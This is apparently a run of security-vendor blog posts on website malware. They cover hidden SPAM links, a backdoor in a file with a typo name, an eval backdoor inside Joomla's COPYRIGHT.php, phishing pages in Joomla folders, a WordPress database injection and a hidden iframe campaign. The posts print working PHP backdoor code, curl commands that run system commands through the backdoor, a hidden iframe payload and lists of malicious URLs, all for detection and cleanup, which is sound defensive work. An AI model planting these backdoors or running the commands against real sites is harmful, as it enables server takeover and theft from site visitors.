However, the bad guys are always getting more and more “creative”, and they’ve developed a better version of that SPAM, called “HideMeBetter”. Yes, that’s their own naming scheme.

It basically follows the same principle by adding SPAM content inside a <div> and calling it in a subsequent <script> tag as you can see below:

<div id="HideMeBetter"> "<a href="httx://flavors.me/antabusca">antabuse..
<a href="httx://flavors.me/ventolilly">ventolin.. &lt/div>

<script type='text/javascript">if(document.getElementById("HideMeBetter") != null)
{document.getElementById("HideMeBetter") .style.visibility = 
'hidden';document.getElementById('HideMeBetter').style.display = "none";}</script>

This time, instead of adding a huge amount of content inside the <div> that could be easily flagged, they just added an <a href> tag to a specific malicious website.

Although it’s very similar to the original version and we know it’s malicious, this code is very hard spot.

You may ask why and the answer is really simple:

1. The code is not obsfucated, therefore it wouldn’t raise any red flags;
2. Unless you know the exact content you have in each file, you may never see that;
3. If you are not experienced with this type of issue, it may go unnoticed;

Here are though a few steps you could take in order to prevent that.

• Monitoring: Unfortunately new malware and backdoors are created every single day, having a monitoring system in place may help you in detecting issues early on and avoiding further problems, such as getting blacklisted by search engines, AV software and others;
• File Checksum: This is also a great way to detect and verify the integrity of your files. It’s a huge red flag if the checksum from any file in your server changes without you actively interacting with it.
• Backups: Having regular backups of the working version of your website may ease the recovery process just in case something bad happens and you have to revert a specific file.

Cleaning up the Infection

In this case, the malicious code was inserted inside the WordPress theme index.php file and to remove it was pretty simple.

*Keep in mind that other files such as footer.php, header.php, home.php, 404.php or any other file that displays content to the user could be used to spread the SPAM links.

Just open the file inside a text editor and remove the content we displayed above.

Starting from the <div> here up to </div>:

And then the closing it:

Safe hunting, and we can only hope that we are not going to see a HideMeBetterAndImproved version in the future

Our Free SiteCheck scanner and Website Monitoring service already detects the new malware variation. If you have any questions, please contact us.

When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of control capability a backdoor.

Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small, and can be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.

As part of our job remediating (cleaning) websites, we get to see all types of backdoors. One thing we are noticing is how the attackers are getting more creative each day, always trying to find ways to be more “discrete”. They often mix the backdoor files or code with core website files so that they won’t be noticed easily.

File name typo backdoors

Inside the Joomla CMS, there are some core files called “LICENSE.php”, “LICENSES.php” and “LICENSE.txt”. However, while working on a compromised site, we found one named “LICESNE.php” inside a WordPress installation.

Looking over that file, we saw the normal GPLv3 terms and even a GNUPG (GPG) signature block that looked legit. If you didn’t notice though, there is an error on the name of the file, A simple typo! This cannot be a core file. That’s a backdoor. Let’s see how it works.

The attacker will type “www.site.com/LICESNE.php and a password will be requested (that by itself is very suspicious):

If you provide the correct password, it will display the backdoor dashboard with all of your files and many options to upload, rename, delete, inject malicious code and deface your website. Yes, that’s the Filesman backdoor that is hidden inside that file:

It comes with a nasty and powerful control panel, better than most FTP and control panels available in hosting accounts.

Decoding the backdoor

The file LICESNE.php starts with some simple code that looks like a license verification message with errors like “License not valid” if it is not correct. That’s how it starts:

Which after decoding (which can be done on ddecode.com, you get to see what that code really does:

So it reads itself, looks for a GPG/PGP Public Key and tries to eval ( gzinflate ( base64_decode the code inside the PGP block:

But that’s not a valid PGP signature. Or even a valid license file. When we decode that part of the file, we see that it is just the Filesman backdoor hidden in there:

This kind of backdoor was the reason behind the constant number of reinfections that site was having before signing up with us.

Prevention and detection

Once the backdoor is in there, it’s game over. It means they already hacked and compromised your website. However, to protect the initial infection, we recommend you:

• Keep your software updated (Don’t hesitate to always replace the core files). If you can’t update, check out CloudProxy
• Keep an eye open for any kind of strange files on your server, specially those with typo. Sucuri offers Server Side Scanning for constant monitoring of this type of activity
• Use strong and different passwords for your FTP, SSH, WordPress, Joomla and etc

Malware code can be very small, and the impact can be very severe! In our daily tasks we find a lot of web-based malware that varies in size and impact. Some of the malware is well known and very easy to detect, others not so much, but this one is very interesting.

Here’s the backdoor, can you see what it’s doing?

< ?php
/*			GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

..

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.*/?>


Joomla! derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses.  Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders.  A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file.  A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.

<? php
Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}

Breaking the code down – Reducing the noise

This particular backdoor was inserted into a good file, the COPYRIGHT.php file in Joomla core. We are going to break the code down into 3 parts and explain in details each part of it.

1- First part (Deceiving)

In this section the bad guys inserted this “comment”:

/*			GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

..

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.*/?>

At a first glance, it doesn’t seem to have anything wrong with it, right? If your eyes didn’t catch it, they inserted the function execution between the comments:

*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.

This first part of backdoor is executing a function called Copyright3_6_56() that will be declared later on somewhere else in the code.

2 – Second Part (Holy)

This one is the simplest and there’s no mystery to it. As I mentioned early on, they inserted the malicious code within a good file. In this particular case the file is the original core file COPYRIGHT.php from Joomla 1.5.x.

/**
 * @version		$Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

defined('_JEXEC') or die('Restricted access');

Joomla! derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses.  Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders.  A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file.  A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.

3- Third Part (Juicy)

This is what you came here for.

Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('',$_REQUEST['gnu']);
eval ($gpl($_REQUEST['c_id']));
$gnu=false;
}

If you are a PHP Programmer or security guy this part may be really obvious, but if you are not, you are probably thinking:

• “This is part of the copyright file, isn’t it? It was there so the code may belong to that file”
• “I don’t see any issues with it”
• “Why am I editing this file”

All jokes aside, this is the part where the attacker declares the function and exactly what it does.

• function Copyright3_6_56(){   <- Declaring the function
• static $gnu = true;    <- Setting $gnu variable with the true
• if(!$gnu) return;    <- Checking if $gnu is different from true
• if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;   <- Checking if $_REQUEST['gnu'] and $_REQUEST['c_id'] are set
• $gpl=implode(”,$_REQUEST['gnu']);    <- Setting $gpl with the array value from $_REQUEST['gnu']
• eval ($gpl($_REQUEST['c_id']));   <- evaluating / executing ($gpl(c_id))
• $gnu=false;    <- Setting $gnu with the value false
• }    <- end of the function

This code is really bad and allows attackers to execute commands in your server via specific parameters.

The line ‘eval ($gpl($_REQUEST['c_id']));’ is the perfect scenario for different kind of injections, for example:

• eval (system(CMD));
• eval (passthru(CMD));
• eval (base 64 _decode(BASE 64));

Let’s show an example of how dangerous it can be:

Encoding the malicious command

------------------------------------------------------
rodrigo@core:~$ echo "system('uname -a; id');"|base 64
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------

Executing commands remotely

-----------------------------------------------------------------------------------------------------------------------------------
rodrigo@core:~$  curl -s -d "gnu[]=base 64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-generic #40-Ubuntu SMP Wed May 23 20:30:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Restricted access

-- or -- 

rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-generic #40-Ubuntu SMP Wed May 23 20:30:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Restricted access
-----------------------------------------------------------------------------------------------------------------------------------

In regards to logs, unless you are specially monitoring the content of POST requests, this all you will see:

---------------------------------------------------------------------------------------------------------------------------
- access log

192.168.0.1 - - [31/Jul/2013:18:53:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
---------------------------------------------------------------------------------------------------------------------------

The attackers could also use $_GET, but it would be easier to detect by the content of c_id:

---------------------------------------------------------------------------------------------------------------------------
rodrigo@core:~$ curl -s -d "gnu[]=base 64_decode" "http://192.168.0.1/COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK"
Linux core 3.2.0-25-generic #40-Ubuntu SMP Wed May 23 20:30:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Restricted access

Here is the entry in the access_log:

192.168.0.1 - - [31/Jul/2013:19:19:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
---------------------------------------------------------------------------------------------------------------------------

Easy Conclusion

Our conclusion is simple, this is plain sneaky, and a lot to consider here. This is especially tricky being the backdoor was sneakily placed in a regular copyright file within core of an open source software. The regular eye may not have spotted this, and in turn would have been susceptible to arbitrary execution of code on their website by attackers.

If you have any questions, please don’t hesitate to contact us!

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

• Part I – Phishing injection

What is Phishing

Before we can understand what they are doing, we have to understand what Phishing means.

As you might imagine, like the act of fishing, where you find yourself on the banks of a lake or sitting at the pier, a fisherman readies their rod and casts out their line with some bait. This bait has one goal, attract fishes. For every kind of fish there are different rules, what rods to use, what lines to configure, more importantly, what bait is most effective. At its most simplest, fishing comes down to throwing food in the water and hoping something bites.

It’s this simple description of fishing that applies to Phishing.

Phishing is the act of attempting to acquire information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication. – Wikipedia

It’s similar in the way it is done. An attacker will have to consider who will be its prey. What is the end game? Are they looking for financial information, personal information, etc.. the goal will dictate what bait to use. Often the term of Phishing is attributed to two different modes of communication – emails and phone calls. These are the most common, but we assure you there are many more means. In either case, more often than not though the unsuspecting fish, you, the user, are redirected to what appears to be a benign website.

This website will have what appears to be the appropriate look and scheme you have come to expect from your trust service provider. You will gladly enter your credentials and proceed to log in, it will let you in with whatever information you enter and continue to ask you a series of questions to better understand your profile. You will gladly adhere to their lines of questions and when it’s all done, you’ll likely log out and be happy that you have been proactive.

Meanwhile, all the information you have just entered into the website has been stolen.

Understanding Phishing Files

As we now know, most phishing attacks need a website of some kind to host the pages that will be used to scam the user. So if an attacker is sending phishing emails asking the user to reset his PayPal password, he will also need a page with a form where he can send the victims to.

This is what a real phishing site looks like that is targeting Chase, a US bank:

If you’re not familiar with the bank, yes, it looks very similar to the real Chase website. The difference here, however, is that and when the user providers his user/pass they are not taken to their account information. Instead, they are redirected to a page that asks them to please update all their information. This second phases lures the attacker to provide more personal information in turn making it easier for the attacker to be more malicious in identity or financial theft. Here is an example of what that looks like:

When all the information is complete the user is notified that everything is great, please proceed with your daily activities and the user simply logs out. All the while, being none the wiser that they have just started the first day of the worst day of their digital existence.

For this to work, the attackers need a couple of things:

1. A list of unsuspecting email users – this could come from the various hacks we have seen on sites like LinkedIn, eHarmony and many others
2. A website that can be used to house the malicious files
3. A malicious server to collect all the data

This of course is in its simplest form, the entire life cycle is a bit more complex.

With this information, attackers are able to mass email their unsuspecting victims. Regardless of how they lure the unsuspecting users, the goal, these days, is often the same, get them to website in which the user willingly gives up their information. This is where CMS applications like Joomla come into play.

Phishing Hidden in Joomla Sites

Joomla like so many other CMS application has had its run in with vulnerabilities over the years. It most recently had one where it allowed the upload of arbitrary PHP files to the /images directory of any install. These uploads often contained shells and in some instances Phishing files like the one we shared above. We wish we could say there was only one location where these files are injected, but the reality is it’s all about opportunity. For instance, in this recent vulnerability it allowed attackers to exploit the /images directory so that’s where we found them. There have been other instances though where we have seen them embedded in /plugins, /cache, /includes and other such directories within the root of the CMS itself.

Th reality is that often these Phishing sites are nothing more than 1, maybe 2, PHP or PHTML or HTML sites with some JS and require little if any core functionality form the CMS itself. This allows its placement to be really easy, all they need is the full path to the location and they are able to mask that location with what appears to be a benign website, something like this:

<a href="evilsite/chase">www.chase.com</a>

In this example all the user would see is: www.chase.com

In the recent Chase case we shared earlier, the pages were inside the following path:

http://site.com/images/stories/2010/verify/Signon.htm?section=signinpage&=&cookiecheck=yes&=nba/signin

As I mentioned though, it’s not limited to that. Here a few more realistic directories that we have found files in:

/images/stories/
/cache/
/tmp/cache/
/images/BANKNAME/
/media/com_fabrik/js/.thumbs/

Some Hardening Tips

I can almost here all the internet pundits already, “Ah, well that’s obvious.. pff… “, unfortunately though it’s not for a lot of everyday website owners. One way to address this shortcoming is for website owners to disable PHP execution in directories that don’t require it, which in the case of Joomla make up a lot.

As Joomla is often configured on a LAMP (Linux Apache MySQL PHP) stack you can take advantage of .htaccess by adding it to each of the directories in which you don’t require PHP to be executed. It would like something like this:

# Disable PHP Execution in this folder
<Files *.php>
Deny from all
</Files>

Mind you, this might be a bit aggressive, depending on how your templates, components, plugins and everything else is built it could break a few things. Often case it comes down to CSS not being rendered or images not being loaded. You will need to hunt those issues down and don’t just remove the hardening, modify it to something like this:

Order Allow,Deny
Deny from all
<FilesMatch "^[^.]+\.(?:[Jj][Pp][Ee]?[Gg]|[Pp][Nn][Gg]|[Gg][Ii][Ff]|[Pp][Dd][Ff])$">
Allow from all
</FilesMatch>
 
or:
 
Order Allow,Deny
Deny from all
<FilesMatch "^[^.]+\.(?i:jpe?g|png|gif|pdf)$">
Allow from all
</FilesMatch>

or:

Order Allow,Deny
Deny from all
<FilesMatch "^[^.]+\.(?i:jpe?g|png|gif|pdf)(?i:\.gz)?$">
Allow from all
</FilesMatch>

Whatever you decide, be sure to test and be prepared to undo. The latter parts is often something you’ll want to do directories like plugins and templates as those are often the ones generating the elements of your website that people see, but if you apply it to components, includes and others you might have refine things a bit as well. If you find a specific file that needs to have access you can modify it to read something like:

<Files *.php>
deny from all
</Files>
<Files yourawesomefile.php>
allow from all
</Files>

This will make it so you deny all by default, while refining the ones that can run. This is the preferred method of most information security professionals.

Conclusion

Unfortunately, Phishing is but one attack we see on CMS applications like Joomla. It is however one of the hardest ones to detect. Unlike SPAM, and other types of Malware, it doesn’t often make itself readily available via the main website. Often it’s location is obscure and only known to the attacker, allowing it to be used in mass email Phishing campaigns. Fortunately, how it gets in is often attributed to two things – Access Control Issues and Software Vulnerabilities either in core or in it’s extensibility.

Lastly, remember that to be effective at this scams, attackers are dependent on you, website users, to not know the difference. Learn to become proactive with your online habits, this extends beyond just visiting websites, but how you interact with your emails and social media outlets.

As for website owners and administrators, you can follow some of the guidance above, but if you prefer not to worry about it you might want to get proactive with your defenses to include detection and protection.

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

s:7546:"a:18:{i:0;s:10:"11-07-
2013";i:1;s:1:"e";i:2;s:32:"061d57e97e504a23cc932031f712f730";
i:3;s:32:"07b6910226033fa5ee75721b4fc6573f";
i:4;s:4:"val(";i:5;s:32:"2a27230f54e4cea4a8ed38d66e2c0";
i:6;s:1:"(";i:7;s:6993:"'LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
VFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
VCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
dGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
G9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG...
... very long ..

As you can see, it is a serialized PHP entry (fully decoded on ddecode) that on first glance, doesn’t look too bad and can’t really cause any harm on its own.

Executing the database content

The malicious code was hidden inside the database, but how can it be executed? The attackers, in addition to injecting that content, also modified the theme’s index.php file with this code:

function page_options() { $option = get_option("page_option"); $opt= unserialize( $option);
        @$arg = create_function("", $opt[1] .$opt[4] .$opt[10]. $opt[12].$opt[14]. $opt[7] );
return $arg('');}
add_action('wp_head', 'page_options'); 

And that’s where everything ties together.

1. This code uses get_option to download the content from “page_option” from the DB: get_option("page_option");
2. Since the content is serialized, it unserialize() it: $opt= unserialize( $option);
3. It than builds a new function called $arg and executes it based on the content retrieved. Only when that function executes that the malware gets executed live: @$arg = create_function..

The final piece of the puzzle is done by the add_action() function. It causes the attackers function to be executed at the head (initialization) of WordPress.

What is interesting is that with such simple code, they are able to bypass most security tools that look for eval’s, or base64_decode’s, or system calls for a sign of compromise.

Backdoor + injection

This piece of malware, once installed on a compromised site, acts as a backdoor (executing the values from the POST variables Thor and Hammer):

if( @md5($_POST["pass"])==='692e3f52ee6f16bc78fa6e1ec4bd4a6a') {
	@extract( $_POST, EXTR_SKIP);
	if(!empty($thor))
		@$thor( $hammer);
}

This malware also injects malicious content related to the “WORDPRESS COUNTER” injection on the browser of anyone visiting the site (downloaded from the command and control site: httx://kadaffizzet.com/kasiapa).

Conclusion

You can’t rely on simple keyword searching to identify malware injections. The attackers are evolving and using multiple tactics to hide their backdoors and malicious tools. If you need help cleaning up a WordPress site, let us know.

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using no-ip.org domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// krbnomrhp.sytes.net:12601 /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

     40 http://snbkjmv.sytes.net:9101/htbin/clickheat/virus.php?spamnav=82"
     35 http://rvpyhfkjrf.sytes.net:9101/url/uploads/virus.php?spamnav=82"
     34 http://yhmpzoav.sytes.net:9101/mchat/descs/temp_order/punknown.php?power=82"
     30 http://yerepkhayq.sytes.net:9101/vmailadmin/proxy/wp-admin/virus.php?spamnav=82"
     30 http://knkkmprda.sytes.net:9101/dbadmin/virus.php?spamnav=82"
     28 http://nmmmdbhh.sytes.net:12601/mysql/gentoo.php?deals=82"
     27 http://sumghmrs.sytes.net:9101/classes/temp_order/components/virus.php?spamnav=82"
     27 http://lvvfafoylf.sytes.net:9101/srv/virus.php?spamnav=82"
     26 http://rvpyhfkjrf.sytes.net:9101/t/virus.php?spamnav=82"
     26 http://ndcdkba.sytes.net:9101/ip/search/stonemanor/punknown.php?power=82"
     24 http://sgkiipjali.sytes.net:12601/archive/administr8/admin4_colon/gentoo.php?deals=82"
     24 http://nmmmdbhh.sytes.net:12601/phpldapadmin/phpsysinfo/photos/gentoo.php?deals=82"
     24 http://mpuizserdk.sytes.net:9101/skins/virus.php?spamnav=82"
     23 http://zzaisucp.sytes.net:9101/cadmins/adm/options/virus.php?spamnav=82"
     23 http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"
     23 http://vzfxlctk.sytes.net:9101/bitmaps/competition/download/virus.php?spamnav=82"
     23 http://hmbgmijz.sytes.net:9101/video/cgi-perl/tag/outdoors.php?cert=82"
     22 http://xpvcrpf.sytes.net:9101/log_order/punknown.php?power=82"
     22 http://xivzwmojg.sytes.net:9101/admin_includes/config/public/virus.php?spamnav=82"
     22 http://sgkiipjali.sytes.net:12601/roman/gentoo.php?deals=82"
     22 http://knkkmprda.sytes.net:9101/command/virus.php?spamnav=82"
     22 http://kahfcjkg.sytes.net:12601/project/event.php?technical=82"
     22 http://iuxvbhxrp.sytes.net:9101/logo_sysadmin/dev/buy/punknown.php?powe
     22 http://hjzdenbi.sytes.net:9101/cpanel_file/film.php?photos=82"
     21 http://sumghmrs.sytes.net:9101/c0de/virus.php?spamnav=82"
     21 http://irpuxtox.sytes.net:9101/class/bitmaps/virus.php?spamnav=82"
     20 http://vtummjhpb.sytes.net:9101/source/outdoors.php?cert=82"
     20 http://ntygkznp.sytes.net:9101/examples/system-administration/admin_files/outdoors.php?cert=82"
     20 http://nswdmekq.sytes.net:9101/full/sec/virus.php?spamnav=82"
     20 http://ngoydafv.sytes.net:12601/picture_library/htm/gentoo.php?deals=82"
     20 http://mnzzgocsjh.sytes.net:9101/tmp/engine/virus.php?spamnav=82"
     20 http://mnwpkrqbu.sytes.net:12601/admin4_colon/gentoo.php?deals=82"
     20 http://lzrbccmyh.sytes.net:9101/support/outdoors.php?cert=82"
     20 http://knkkmprda.sytes.net:9101/administrators/options/virus.php?spamnav=82"
     20 http://idbosrxgg.sytes.net:9101/session/virus.php?spamnav=82"
     20 http://fgsbmtad.sytes.net:9101/2007/daily/virus.php?spamnav=82"
     20 http://eljbpjfwg.sytes.net:9101/advanced/punknown.php?power=82"
     20 http://dphtmdd.sytes.net:9101/feed/javascript/sql/virus.php?spamnav=82"
     19 http://vxvyvrf.sytes.net:9101/mysql/film.php?photos=82"
     19 http://ukmwzaum.sytes.net:9101/report/tmp/imode/virus.php?spamnav=82"
     19 http://ngoydafv.sytes.net:12601/titles/Lotus_Domino_Admin/maps/gentoo.php?deals=82"
     19 http://fiwailsko.sytes.net:9101/sshadmin/punknown.php?power=82"
     19 http://fgsbmtad.sytes.net:9101/daemon/virus.php?spamnav=82"
     18 http://zwwskaudp.sytes.net:9101/sshadmin/admin1/post/virus.php?spamnav=82"
     18 http://xlsymepe.sytes.net:9101/2003/punknown.php?power=82"
     18 http://ngoydafv.sytes.net:12601/wp-content/nwshp/conf/gentoo.php?deals=82"
     18 http://iljdfdiap.sytes.net:9101/bad/virus.php?spamnav=82"
     18 http://etaggovaql.sytes.net:9101/am/2006/special/punknown.php?power=82"
     18 http://bxluzpbq.sytes.net:9101/profile/wm/feedback/film.php?photos=82"
     17 http://yerepkhayq.sytes.net:9101/finance/virus.php?spamnav=82"
     17 http://vzfxlctk.sytes.net:9101/cpanel_file/zip/virus.php?spamnav=82"
     17 http://ukmwzaum.sytes.net:9101/adm2/virus.php?spamnav=82"
     17 http://mmqozpxrm.sytes.net:9101/haddan_files/punknown.php?power=82"
     17 http://kyicikarpu.sytes.net:9101/results/pm/screens/virus.php?spamnav=82"
     17 http://knhvdmsi.sytes.net:9101/pm/punknown.php?power=82"
     17 http://fowkvsqt.sytes.net:9101/money/admin/virus.php?spamnav=82"
     17 http://fkzsjei.sytes.net:9101/add/virus.php?spamnav=82"
     16 http://zwpcoxs.sytes.net:9101/server_admin_small/elements/film.php?photos=82"
     16 http://vzfxlctk.sytes.net:9101/useradmin/virus.php?spamnav=82"
     16 http://snbkjmv.sytes.net:9101/bbadmin/alterra/virus.php?spamnav=82"
     16 http://ovdqypgi.sytes.net:12601/relax/gentoo.php?deals=82"
     16 http://ovdqypgi.sytes.net:12601/2010/gentoo.php?deals=82"
     15 http://qrzugjjrw.sytes.net:9101/oplata/order/virus.php?spamnav=82"
     15 http://ozqsveikb.sytes.net:9101/avi/virus.php?spamnav=82"
     15 http://nnlwlvq.sytes.net:9101/article/downloads/include/virus.php?spamnav=82"
     15 http://knkkmprda.sytes.net:9101/banneradmin/virus.php?spamnav=82"
     15 http://enwebkwh.sytes.net:9101/product/virus.php?spamnav=82"
     15 http://coqptizgt.sytes.net:9101/data/outdoors.php?cert=82"
     15 http://axfhttqnl.sytes.net:9101/node/virus.php?spamnav=82"
     14 http://xglpjtlpbl.sytes.net:9101/help/outdoors.php?cert=82"
     14 http://xdxmziges.sytes.net:9101/tools/xyza/outdoors.php?cert=82"
     14 http://wwcrkkiu.sytes.net:9101/sshadmin/down/outdoors.php?cert=82"
     14 http://pkpmezztj.sytes.net:9101/beta/sbot/film.php?photos=82"
     14 http://owtppqzjh.sytes.net:9101/internal/proxy/autologin/film.php?photos=82"
     14 http://oggnxbyjwi.sytes.net:9101/backup/e107_handlers/partner/film.php?photos=82"
     14 http://oexwfsnp.sytes.net:9101/php/xfile/directadmin/virus.php?spamnav=82"
     14 http://oexwfsnp.sytes.net:9101/language/ccp14admin/style/virus.php?spamnav=82"
     14 http://nifhevj.sytes.net:9101/cache/sshadmin/inc/outdoors.php?cert=82"
     14 http://mpuizserdk.sytes.net:9101/page/author/misc/virus.php?spamnav=82"
     14 http://mkqydbik.sytes.net:9101/pass/outdoors.php?cert=82"
     14 http://lkgzbafam.sytes.net:9101/installation/outdoors.php?cert=82"
     14 http://lhruanxu.sytes.net:9101/software/virus.php?spamnav=82"
     14 http://kzaefdyx.sytes.net:9101/system/pic/nwshp/punknown.php?power=82"
     14 http://kzaefdyx.sytes.net:9101/admin4_account/punknown.php?power=82"
     14 http://kyicikarpu.sytes.net:9101/commercial/virus.php?spamnav=82"
     14 http://kdkudocdcj.sytes.net:9101/data/content/toolz/punknown.php?power=82"
     14 http://hjzdenbi.sytes.net:9101/ip/extras/null/film.php?photos=82"
     14 http://fiwailsko.sytes.net:9101/mysql_admin/punknown.php?power=82"
     14 http://cdjbdwcnb.sytes.net:9101/sysadmin/money/counters/virus.php?spamnav=82"
     14 http://augtohpklj.sytes.net:9101/plugins/user/house/virus.php?spamnav=82"
     14 http://anxytxwf.sytes.net:9101/addnews/punknown.php?power=82"
     13 http://zrsbhxi.sytes.net:9101/titles/cpanel/themes/virus.php?spamnav=82"

How are the sites getting compromised?

This is a question we often get, but unfortunately, we don’t get access to all the sites that we monitor or that we can query externally. So we can’t really pinpoint the exact source of initial compromise.

However, we do know that most sites with it are either running outdated versions of Joomla or WordPress. So we can speculate what is causing it.

Also remember, while we can’t say how it’s happening, we do know that those on our CloudProxy product have not experienced any issues as we protect from similar attacks.

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:

$g___g_='base'.(32*2).'_de'.'code';

